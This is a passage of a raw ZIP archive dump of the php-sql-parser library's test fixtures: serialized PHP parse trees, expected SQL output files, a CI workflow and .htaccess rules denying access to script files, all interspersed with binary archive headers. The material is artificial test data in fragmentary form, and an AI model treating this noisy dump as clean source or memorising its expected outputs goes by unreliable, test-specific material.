";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"DEFAULT";s:8:"position";i:64;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"COLLATE";s:8:"position";i:72;}i:2;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"position";i:80;}i:3;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:17:"latin1_german2_ci";s:8:"position";i:82;}}s:8:"position";i:64;}}s:8:"position";i:13;}}PK     \Zv  v  H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue38.serializednu [        a:3:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:7:"`table`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"table";}}s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:3:"`t`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"t";}}s:9:"base_expr";s:3:"`t`";}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:11:"`table` `t`";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:1:{i:0;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:47:"( ( UNIX_TIMESTAMP() + 3600 ) > `t`.`expires` )";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:27:"( UNIX_TIMESTAMP() + 3600 )";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:14:"UNIX_TIMESTAMP";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"+";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"3600";s:8:"sub_tree";b:0;}}}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:">";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:13:"`t`.`expires`";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"t";i:1;s:7:"expires";}}s:8:"sub_tree";b:0;}}}}}PK     \w>dbe  e  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue122.serializednu [        a:2:{s:6:"UPDATE";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:14:"db.`tablename`";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"db";i:1;s:9:"tablename";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:14:"db.`tablename`";s:8:"sub_tree";b:0;s:8:"position";i:7;}}s:3:"SET";a:1:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:3:"a=1";s:8:"sub_tree";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;s:8:"position";i:26;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:27;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;s:8:"position";i:28;}}s:8:"position";i:26;}}}PK     \LC8    H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue98.serializednu [        a:3:{s:6:"SELECT";a:2:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:5:"webid";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"webid";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:1;a:5:{s:9:"expr_type";s:8:"function";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:4:"`fl`";s:9:"base_expr";s:7:"as `fl`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"fl";}}}s:9:"base_expr";s:5:"floor";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:5:"iz/2.";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"iz";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"iz";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"/";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"2.";s:8:"sub_tree";b:0;}}s:5:"alias";b:0;}}s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:12:"MDR1.Tweb512";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:4:"MDR1";i:1;s:7:"Tweb512";}}s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:3:"`w`";s:9:"base_expr";s:6:"as `w`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"w";}}}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:19:"MDR1.Tweb512 as `w`";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"w.webid";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"w";i:1;s:5:"webid";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"<";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"100";s:8:"sub_tree";b:0;}}}PK     \Lh/   /   B  vendor/greenlion/php-sql-parser/tests/expected/creator/issue92.sqlnu [        SELECT cid * 2 FROM cities ORDER BY country ASCPK     \o#   #   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue62a.sqlnu [        SELECT col FROM table1 GROUP BY colPK     \n9      C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue33a.sqlnu [        CREATE TABLE hohoho (LIKE xyz)PK     \s'*   *   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue121.sqlnu [        CREATE TABLE t (mv DECIMAL (3) DEFAULT 10)PK     \wNi        C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue62r.sqlnu [        UPDATE table1 SET col1 = (1 + 3)PK     \      ?  vendor/greenlion/php-sql-parser/tests/expected/creator/join.sqlnu [        SELECT a.*, surveyls_title, surveyls_description, surveyls_welcometext, surveyls_url FROM SURVEYS AS a INNER JOIN SURVEYS_LANGUAGESETTINGS ON (surveyls_survey_id = a.sid and surveyls_language = a.language) ORDER BY active DESC, surveyls_title ASCPK     \>Q   Q   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue33d.sqlnu [        CREATE TABLE hohoho (a varchar (1000), CONSTRAINT PRIMARY KEY (a), CHECK (a > 5))PK     \ĩ:   :   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue78e.sqlnu [        SHOW FULL COLUMNS FROM `foo.bar` FROM hohoho LIKE '%xmas%'PK     \=      C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue110.sqlnu [        SELECT DISTINCT a FROM bPK     \,Z   Z   A  vendor/greenlion/php-sql-parser/tests/expected/creator/union3.sqlnu [        SELECT x FROM (SELECT y FROM z WHERE (y > 2) UNION ALL SELECT a FROM z WHERE (y < 2)) AS fPK     \I      C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue62g.sqlnu [        DELETE FROM tab1 WHERE col1 = 1PK     \Jq++   +   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue62f.sqlnu [        INSERT INTO tab1 (col1, col2) VALUES (?, ?)PK     \Odt      C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue63c.sqlnu [        SELECT * FROM table LIMIT 1PK     \2v      C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue126.sqlnu [        DELETE FROM t1PK     \jW,   ,   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue147.sqlnu [        SELECT f FROM t WHERE x in (SELECT x FROM y)PK     \a      B  vendor/greenlion/php-sql-parser/tests/expected/creator/issue85.sqlnu [        SELECT haha(foo,bar)PK     \Fc&   &   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue62n.sqlnu [        INSERT IGNORE INTO table1 VALUES ('1')PK     \,ki   i   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue33h.sqlnu [        CREATE TABLE hohoho (a varchar (1000)) ENGINE = xyz, COMMENT = 'haha' DEFAULT COLLATE = latin1_german2_ciPK     \v5   5   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue33m.sqlnu [        CREATE TABLE hohoho (a varchar (1000), b float (5,3))PK     \            B  vendor/greenlion/php-sql-parser/tests/expected/creator/issue83.sqlnu [        PK     \JxY      C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue78a.sqlnu [        SHOW columns from `foo.bar`PK     \<	U9   9   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue144.sqlnu [        SELECT * FROM TableA INNER JOIN TableB USING (Col1, Col2)PK     \V#	[   [   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue33l.sqlnu [        CREATE TABLE hohoho (a integer not null) REPLACE AS SELECT DISTINCT * FROM abcd WHERE x < 5PK     \(F,   ,   B  vendor/greenlion/php-sql-parser/tests/expected/creator/issue66.sqlnu [        SELECT SUM(value) / (ABS(2)) AS x FROM tablePK     \wZX   X   D  vendor/greenlion/php-sql-parser/tests/expected/creator/tableexpr.sqlnu [        SELECT * FROM t1 LEFT JOIN (t2, t3, t4) ON (t2.a = t1.a AND t3.b = t1.b AND t4.c = t1.c)PK     \
MFK   K   @  vendor/greenlion/php-sql-parser/tests/expected/creator/where.sqlnu [        SELECT * FROM `table` `t` WHERE ((UNIX_TIMESTAMP() + 3600) > `t`.`expires`)PK     \-R   R   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue33e.sqlnu [        CREATE TABLE hohoho (a varchar (1000), PRIMARY KEY USING btree (a), CHECK (a > 5))PK     \]   ]   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue83b.sqlnu [        INSERT INTO newTablename (SELECT field1, field2, field3 FROM oldTablename WHERE field1 > 100)PK     \DS      C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue76a.sqlnu [        SELECT AVG(2.0 * foo) FROM barPK     \^,<7   7   B  vendor/greenlion/php-sql-parser/tests/expected/creator/issue87.sqlnu [        RENAME TABLE a TO b, `c` TO `a`, foo.bar TO hello.worldPK     \t       B  vendor/greenlion/php-sql-parser/tests/expected/creator/issue81.sqlnu [        SELECT NOW()PK     \"B   B   @  vendor/greenlion/php-sql-parser/tests/expected/creator/alter.sqlnu [        ALTER TABLE `user` CHANGE `id` `id` INT( 11 ) COMMENT 'id of user'PK     \o#   #   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue63a.sqlnu [        SELECT col FROM table1 GROUP BY colPK     \9ih      C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue100.sqlnu [        SELECT 0 AS Zero FROM tablePK     \JX        C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue62q.sqlnu [        SELECT DISTINCT col1 FROM table1PK     \N      C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue33b.sqlnu [        CREATE TABLE hohoho LIKE xyzPK     \,V        C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue76b.sqlnu [        SELECT AVG(2.0 * foo,x) FROM barPK     \( C   C   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue124.sqlnu [        SELECT t1.c1, t2.c2 FROM t1 LEFT JOIN t2 ON (LEFT(t1.c2,6) = t2.c1)PK     \y   y   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue33j.sqlnu [        CREATE TEMPORARY TABLE IF NOT EXISTS turma (id text NOT NULL, nome text NOT NULL, nota1 int NOT NULL, nota2 int NOT NULL)PK     \&FB   B   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue83c.sqlnu [        INSERT INTO newTablename (field1, field2, field3) VALUES (1, 2, 3)PK     \0      C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue127.sqlnu [        UPDATE t1 SET c1 = -c2PK     \wh{   {   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue33k.sqlnu [        CREATE TABLE hohoho (a varchar (1000), PRIMARY KEY (a(5) ASC) key_block_size 4 using btree with parser haha, CHECK (a > 5))PK     \-+      A  vendor/greenlion/php-sql-parser/tests/expected/creator/magnus.sqlnu [        SELECT u.`id` AS userid, u.`user` AS username, u.`firstname`, u.`lastname`, u.`email`, CONCAT(19,lastname,2013) AS test FROM `user` u ORDER BY u.`user` DESCPK     \S5   5   B  vendor/greenlion/php-sql-parser/tests/expected/creator/issue94.sqlnu [        SELECT DATE_ADD(NOW(),INTERVAL 1 MONTH) AS next_monthPK     \Q$   $   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue117.sqlnu [        (SELECT x FROM table) ORDER BY x ASCPK     \BN=   =   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue62d.sqlnu [        SELECT * FROM table ORDER BY TIME_FORMAT(column '%H:%i') DESCPK     \a*      C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue78b.sqlnu [        SHOW CREATE DATABASE `foo`PK     \E    C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue105.sqlnu [        SELECT users0.user_name AS 'CIS UserName', calls.description AS 'Description', contacts2.first_name AS 'Contacts First Name', contacts2.last_name AS 'Contacts Last Name', calls_cstm.date_logged_c AS 'Date', calls_cstm.contact_type_c AS 'Contact Type', dbo.fn_GetAccountName(calls.parent_id) AS 'Account Name' FROM calls LEFT JOIN calls_cstm ON calls.id = calls_cstm.id_c LEFT JOIN users users0 ON calls.assigned_user_id = users0.id LEFT JOIN contacts contacts2 ON calls.contact_id = contacts2.id WHERE calls.deleted = 0 AND (DATEADD(SECOND,0,calls_cstm.date_logged_c) BETWEEN '2013-01-01' AND '2013-12-31') ORDER BY dbo.fn_GetAccountName(calls.parent_id) ASC LIMIT 15PK     \"   "   B  vendor/greenlion/php-sql-parser/tests/expected/creator/issue86.sqlnu [        SELECT * FROM cities GROUP BY 1, 2PK     \0J{   {   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue33g.sqlnu [        CREATE TABLE hohoho (a varchar (1000), PRIMARY KEY USING btree (a(5) ASC) key_block_size 4 with parser haha, CHECK (a > 5))PK     \#I   I   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue112.sqlnu [        SELECT user, MAX(salary) FROM users GROUP BY user HAVING MAX(salary) > 10PK     \fV%   %   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue130.sqlnu [        SELECT * FROM t1 ORDER BY c2 - c1 ASCPK     \˶A    B  vendor/greenlion/php-sql-parser/tests/expected/creator/issue89.sqlnu [        SELECT ut.id, ut.numero_cartella, ut.nome, ut.cognome, floor(DATEDIFF(de.`data`,ut.data_di_nascita) / 365) AS eta, sx.valore AS sesso, cd.valore AS diagnosi_prevalente, co.valore AS consapevolezza, DATEDIFF(de.`data`,az.data_inizio_assistenza) AS durata_assistenza_giorni, ld.valore AS luogo_decesso, ca.valore AS carico_assistenza, if(sa.id is null,null,if(sa.fkey_cod_care_giver_interno__con_chi_vive = 1,'si','no')) AS vive_solo, sn.valore AS oltre_70 FROM gen_cms_utenti utPK     \	I  I  A  vendor/greenlion/php-sql-parser/tests/expected/creator/inlist.sqlnu [        SELECT * FROM contacts WHERE contacts.id IN (SELECT email_addr_bean_rel.bean_id FROM email_addr_bean_rel, email_addresses WHERE email_addresses.id = email_addr_bean_rel.email_address_id AND email_addr_bean_rel.deleted = 0 AND email_addr_bean_rel.bean_module = 'Contacts' AND email_addresses.email_address IN ("test@example.com"))PK     \.>:   :   B  vendor/greenlion/php-sql-parser/tests/expected/creator/issue58.sqlnu [        SELECT a.* FROM tabla_a a WHERE (a.client_id in (1, 2, 3))PK     \    C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue106.sqlnu [        SELECT dbo.fn_GetDayOfWeekMonIs0(DATEADD(SECOND,-21600,calls_cstm.date_logged_c)) AS 'Date' FROM calls LEFT JOIN calls_cstm ON calls.id = calls_cstm.id_c LEFT JOIN users users0 ON calls.assigned_user_id = users0.id LEFT JOIN contacts contacts2 ON calls.contact_id = contacts2.id WHERE calls.deleted = 0 AND ((dbo.fn_GetDayOfWeekMonIs0(DATEADD(SECOND,0,calls_cstm.date_logged_c)) IN ('4')) AND DATENAME(YEAR,DATEADD(SECOND,0,calls_cstm.date_logged_c)) = '2013' AND (DATEPART(MONTH,DATEADD(SECOND,0,calls_cstm.date_logged_c)) IN ('10'))) GROUP BY dbo.fn_GetDayOfWeekMonIs0(DATEADD(SECOND,-21600,calls_cstm.date_logged_c)) ORDER BY dbo.fn_GetDayOfWeekMonIs0(DATEADD(SECOND,-21600,calls_cstm.date_logged_c)) ASCPK     \'߁*      C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue78c.sqlnu [        SHOW DATABASES LIKE '%bar%'PK     \AO      C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue33f.sqlnu [        CREATE TABLE "cachetable01" ("sp_id" varchar (240) DEFAULT NULL, "ro" varchar (240) DEFAULT NULL, "balance" varchar (240) DEFAULT NULL, "last_cache_timestamp" varchar (25) DEFAULT NULL) ENGINE = InnoDB DEFAULT CHARACTER SET = latin1PK     \#!      C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue104.sqlnu [        SELECT a.* FROM iuz6l_menu_types AS a LEFT JOIN iuz6l_menu AS b ON b.menutype = a.menutype AND b.home != 0 LEFT JOIN iuz6l_languages AS l ON (l.lang_code = language) WHERE (b.client_id = 0 OR b.client_id IS NULL)PK     \]S   S   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue62l.sqlnu [        SELECT round((1 - (phy.value / (cur.value + con.value))) * 100,2) FROM vtiger_usersPK     \hA4   4   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue123.sqlnu [        CREATE TABLE t1 (c1 CHAR (3), c2 CHAR (3), KEY (c1))PK     \	L	}   }   G  vendor/greenlion/php-sql-parser/tests/expected/creator/issue_git185.sqlnu [        SELECT seen, id, name, cep, date_format(created,'%d/%m/%Y %h:%i:%s') AS created FROM user WHERE approved = 0 and canceled = 0PK     \$I   I   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue62j.sqlnu [        UPDATE table1, table2 SET table1.col1 = 0 WHERE table1.col2 = table2.col2PK     \ۗ$4   4   A  vendor/greenlion/php-sql-parser/tests/expected/creator/update.sqlnu [        UPDATE `table` SET a = 15,b = 'haha' WHERE x = now()PK     \ r]   ]   A  vendor/greenlion/php-sql-parser/tests/expected/creator/delete.sqlnu [        DELETE QUICK t1, t2 FROM t1 INNER JOIN t2 INNER JOIN t3 WHERE t1.id = t2.id AND t2.id = t3.idPK     \^O[   [   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue83a.sqlnu [        INSERT INTO newTablename SELECT field1, field2, field3 FROM oldTablename WHERE field1 > 100PK     \m%BP   P   B  vendor/greenlion/php-sql-parser/tests/expected/creator/insert3.sqlnu [        INSERT INTO test (`name`, `test`) VALUES ('\'Superman\'', ''), ('\'sdfsd\'', '')PK     \yvn   n   F  vendor/greenlion/php-sql-parser/tests/expected/creator/issue_git10.sqlnu [        SELECT REPLACE(f.web_program,'
','') AS web_program, id AS change_id FROM file f HAVING change_id > :change_idPK     \=	2.   .   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue79a.sqlnu [        SELECT * FROM `users` WHERE id_user = @ID_USERPK     \c   c   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue62h.sqlnu [        SELECT col1 FROM tab1 INNER JOIN tab2 ON tab1.col1 = tab2.col1 and col2 in (1, 2) ORDER BY col3 ASCPK     \Uv5   5   D  vendor/greenlion/php-sql-parser/tests/expected/creator/insubtree.sqlnu [        SELECT CASE WHEN 2 IN (2, 3) THEN "yes" ELSE "no" ENDPK     \UV   V   A  vendor/greenlion/php-sql-parser/tests/expected/creator/alter2.sqlnu [        ALTER TABLE `my_table`
 ADD COLUMN `updated_by` SMALLINT unsigned AFTER `date_created`PK     \I "      G  vendor/greenlion/php-sql-parser/tests/expected/creator/issue_git181.sqlnu [        SELECT NOW() AS todayPK     \q#   #   J  vendor/greenlion/php-sql-parser/tests/expected/creator/orderbyposition.sqlnu [        SELECT c1, c2 FROM t ORDER BY 1 ASCPK     \K9   9   A  vendor/greenlion/php-sql-parser/tests/expected/creator/union2.sqlnu [        SELECT colA FROM test a UNION ALL SELECT colB FROM test bPK     \5K   K   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue62k.sqlnu [        SELECT col1 FROM tab1 WHERE col1 = (SELECT col1 FROM tab2 WHERE col2 = 103)PK     \Rɸ-   -   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue129.sqlnu [        DROP TEMPORARY TABLE IF EXISTS t1, t2 CASCADEPK     \}x   x   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue33i.sqlnu [        CREATE TABLE hohoho (a varchar (1000), b integer, FOREIGN KEY haha (b) references xyz (id) match full on delete cascade)PK     \F'C   C   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue118.sqlnu [        SELECT organism_name AS reference FROM organisms GROUP BY referencePK     \      C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue132.sqlnu [        SELECT (c1 - c2) AS c3 FROM t1PK     \u1   1   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue62i.sqlnu [        SELECT COUNT(colname) AS aliasname FROM tablenamePK     \w^N&   &   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue141.sqlnu [        SELECT f FROM t ORDER BY (f - 0.0) ASCPK     \jJj&   &   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue102.sqlnu [        SELECT IF(f = 0 || f = 1,1,0) FROM tblPK     \0O}  }  B  vendor/greenlion/php-sql-parser/tests/expected/creator/issue57.sqlnu [        SELECT a.*, SUM(b.home) AS home, b.language, l.image, l.sef, l.title_native FROM iuz6l_menu_types AS a LEFT JOIN iuz6l_menu AS b ON b.menutype = a.menutype AND b.home != 0 LEFT JOIN iuz6l_languages AS l ON l.lang_code = language WHERE (b.client_id = 0 OR b.client_id IS NULL) GROUP BY a.id, a.menutype, a.description, a.title, b.menutype, b.language, l.image, l.sef, l.title_nativePK     \e   e   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue134.sqlnu [        SELECT t1.* FROM Table1 t1 STRAIGHT_JOIN Table2 t2 ON t1.CommonID = t2.CommonID WHERE t1.FilterID = 1PK     \/B)   )   B  vendor/greenlion/php-sql-parser/tests/expected/creator/issue88.sqlnu [        SELECT (some_field = 'string') FROM tablePK     \=Y8   8   A  vendor/greenlion/php-sql-parser/tests/expected/creator/union1.sqlnu [        SELECT colA FROM test a UNION SELECT colB FROM test AS bPK     \      C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue78d.sqlnu [        SHOW ENGINE foo STATUSPK     \rE!/   /   B  vendor/greenlion/php-sql-parser/tests/expected/creator/issue98.sqlnu [        SELECT mn AS `next_month` FROM DateAndTime `dt`PK     \<A   A   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue63b.sqlnu [        SELECT col AS somealias FROM table ORDER BY somealias ASC LIMIT 1PK     \vT   T   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue62o.sqlnu [        SELECT *, case when (col1 not like '') then col1 else col2 end AS alias1 FROM table1PK     \eg      C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue62p.sqlnu [        SELECT IF(1 > 2,2,3)PK     \~=Z   Z   ?  vendor/greenlion/php-sql-parser/tests/expected/creator/left.sqlnu [        SELECT * FROM (t1 LEFT JOIN t2 ON t1.a = t2.a) LEFT JOIN t3 ON t2.b = t3.b OR t2.b IS NULLPK     \cm   m   >  vendor/greenlion/php-sql-parser/tests/expected/creator/asc.sqlnu [        SELECT qid FROM QUESTIONS WHERE gid = '1' and language = 'de-informal' ORDER BY question_order ASC, title ASCPK     \;(   (   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue62e.sqlnu [        SELECT * FROM table ORDER BY column DESCPK     \/B   B   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue101.sqlnu [        SELECT tab.col AS `tab.col`, tab2.col AS `tab2.col` FROM tab, tab2PK     \=}#   #   C  vendor/greenlion/php-sql-parser/tests/expected/creator/distinct.sqlnu [        SELECT COUNT(DISTINCT bla) FROM fooPK     \>\q      E  vendor/greenlion/php-sql-parser/tests/expected/creator/unaryminus.sqlnu [        SELECT -(0)PK     \$@Cr   r   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue131.sqlnu [        CREATE unique index i1 using BTREE ON t1 (c1(5) DESC, `col 2`(8) ASC) ALGORITHM = DEFAULT using hash LOCK = SHAREDPK     \	i#   #   C  vendor/greenlion/php-sql-parser/tests/expected/creator/function.sqlnu [        SELECT SUM(10) AS test FROM accountPK     \GS   S   B  vendor/greenlion/php-sql-parser/tests/expected/creator/insert1.sqlnu [        INSERT INTO test (`name`, `test`) VALUES ('\'Superman\'', ''), ('\'Superman\'', '')PK     \+   +   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue62m.sqlnu [        SELECT * FROM table1 IGNORE INDEX (PRIMARY)PK     \Sʉ      @  vendor/greenlion/php-sql-parser/tests/expected/creator/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \<A   A   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue62b.sqlnu [        SELECT col AS somealias FROM table ORDER BY somealias ASC LIMIT 1PK     \g=   =   B  vendor/greenlion/php-sql-parser/tests/expected/creator/insert2.sqlnu [        INSERT INTO test (`name`, `test`) VALUES ('\'Superman\'', '')PK     \vMd   d   C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue33c.sqlnu [        CREATE TABLE hohoho (a varchar (1000) NOT NULL, CONSTRAINT hohoho_pk PRIMARY KEY (a), CHECK (a > 5))PK     \Odt      C  vendor/greenlion/php-sql-parser/tests/expected/creator/issue62c.sqlnu [        SELECT * FROM table LIMIT 1PK     \Sʉ      8  vendor/greenlion/php-sql-parser/tests/expected/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      /  vendor/greenlion/php-sql-parser/tests/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Y    8  vendor/greenlion/php-sql-parser/.github/workflows/ci.ymlnu [        name: CI

on: [push]

jobs:
  build-test:
    runs-on: ubuntu-latest
    strategy:
      fail-fast: false
      matrix:
        php-versions:
          - 5.4
          - 5.5
          - 5.6
          - 7.2
          - 7.3
          - 7.4
          - 8.0
          - 8.1
          - 8.2
          - 8.3
          - 8.4


    steps:
      -   name: Checkout
          uses: actions/checkout@v4
      -   name: Setup PHP
          uses: shivammathur/setup-php@v2
          with:
              php-version: ${{ matrix.php-versions }}     
              coverage: xdebug
      -   name: Composer Install
          run: composer install --classmap-authoritative --no-interaction --no-cache
      -   name: run tests
          run: vendor/bin/phpunit --configuration phpunit.xml --bootstrap=tests/bootstrap.php --coverage-html=coverage/html/
      - name: Archive code coverage results
        uses: actions/upload-artifact@v4
        with:
          name: code-coverage-report-${{ matrix.php-versions }}
          path: coverage/html/PK     \Sʉ      ;  vendor/greenlion/php-sql-parser/.github/workflows/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
